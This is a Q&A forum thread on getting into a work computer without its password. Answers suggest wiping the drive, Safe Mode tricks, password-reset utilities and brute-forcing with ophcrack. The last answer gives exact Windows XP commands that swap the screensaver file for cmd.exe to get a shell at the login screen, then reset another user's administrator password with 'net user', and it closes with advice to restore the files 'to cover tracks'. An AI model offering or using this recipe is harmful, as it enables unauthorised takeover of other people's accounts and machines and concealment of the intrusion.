HeLp!! how can i log into a computer without knowing password??

Question

I'm having problems with my computer at work so they guy that had the computer before me had a password and now i cant log into it i need help anyone know how to???

Answer 1

You can't.  When that happens, you just wipe out the drive and reinstall windows.

Now if theres important file you want to recover first, then take the hard drive out of it and put it as a second drive in a working computer.  Then you can access the files on D: drive. Copy anything important back over to C: over to your network or burn to CD.  Put the drive back in the computer and reinstall windows.

Thats not true above. Going into Safe Mode will not automatically put you in the Administrator mode.  You still need to punch in a password in safe mode. That might have worked with Windows 98, but not since then.  If that was the case, then anyone could get into anyones computer (Administrator mode at that) by pressing F8 at bootup.

Answer 2

t helps if you mention what version of Windows you are running...

If your computer has XP, many times I can boot to save mode and get into the default Administrator account. Once I am in, I can remove passwords for any of the other accounts. This only works if no one put a password on the default administrator account. You would be surprised to know how often this happens.

How to start in safe mode:

http://www.bleepingcomputer.com/tutorial...

If that doesn't work, you have to download a utility that allows you to remove the password. Here are two (I used the NT Password and Registry Editor -- It worked perfectly)

Such services include Login Recovery, http://www.loginrecovery.com/ and NT Password and Registry Editor http://home.eunet.no/~pnordahl/ntpasswd/ Each is free.

Good luck

LKB

Answer 3

There are a couple of ways to do this.

A.) Start computer and press F8 or F5 until you see "Run Safemode" or something of the sort. When it loads up go in the "Administrator" account, and you should be able to edit accounts in the user control panel.

B.) Download ophcrack(http://ophcrack.com) and burn to a disc. Stick in computer, restart, and let it bruteforce the password for you.

Answer 4

If you log into a limited account on your target machine and open up a dos prompt

then enter this set of commands Exactly:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr

exit *quits dos

Now what you have just done is told the computer to backup the command program

and the screen saver file, then edits the settings so when the machine boots the

screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks